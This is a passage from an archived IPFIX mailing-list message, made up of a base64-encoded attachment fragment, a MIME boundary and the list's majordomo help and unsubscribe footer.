P5WVkAMmbwaOi1+9doqmhLJifyZiMhZ6OIWoJcIIqiVOiy5aYKEgw1goXRSniwcPcbyUBMK9
h4V0gq89KEOqrT+AYgkWYkW1YjcnTr3EW30gKrHEfSxtOJlbEHs1JoZ/gjU/PDgBM1U1qYFz
EC6uDaOkGCA5CwGQb3dVtmc2woZ3W2UTmAuiwkBpPMU7c0BfO2dkkCBOFBOlPVRxKYmHXMc8
sE+NPIiiRIEia2l4FjMDLxS3qRV/QXVlEGxdxsKlQxE0LYVHPQUgMJyPeUWiHgYYAg1ECSYh
xaa6R0IpQLiSPmWMc521bZYHIXg1PTUsB2dDcgYAFSlBegQZj6BXK7+GXgKZFlkWLF6xphZV
cqtIwie3iZBiqQWxt2pXiz1pUQ0IVr+hhjumiAGAgxQTm8QwkoJetCtDhlCKqSQ2JMQbeRU7
MzoRZsFnF6U5JWEHaDgRU7wnuJTAd7y2bUZ0CKZ2cwkiv8HFIWY/mzrFfQAuMVe5CSsCv5l7
mxwDKzpkompMInUZQ5sUuCxZqjOLTQFkwMIYZoKMDj6kbMB4R18KHVw0nRECm3WMwUsFKhcs
TnmsVbN4nGsCMCqKgYwSUh9FmcNYD2+LdWMniZxodqxwQ0YvYb4Up62CeZQrHg8RSzI4CXw6
PBAlhhANwToQAEOEhFVPwg+hC2YkVZAIIHh4JsQ6mq5FPX45O54+E6ODIpUHFWoIvWIaX3sL
E7lZTkeIr3mUt3BzOhQIjlrBOSIjxJRbJGGLl5+3GGkhoUAppFvGwJpgc7aLdQQztUozLBG8
CpQEcxQ4sLNTPYEZVBygWkZSX3CcImO2XFYSMZWgOFEzOhptiHhLJpFWG6GDepWfAhCwGUUI
Yr4WpTzCCTKdSYZqwXSUDE43oWscJidHl6UHIk4PJgd9OCx4kkyQLDQCer9Lo0KmJ0G5pAkV
YlpwEmbDoDcDYsQkcmNcmnWLA5NVHHpFOLklLasNGqIuO2pCaqs8bTd1mn9Zpl6vksbGG1yS
PSolIrVwtX5xBU96iWIqMV6DJz5KQYJmfLNllpoBE1s=

----------flbmeapccujslibjkqvw--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


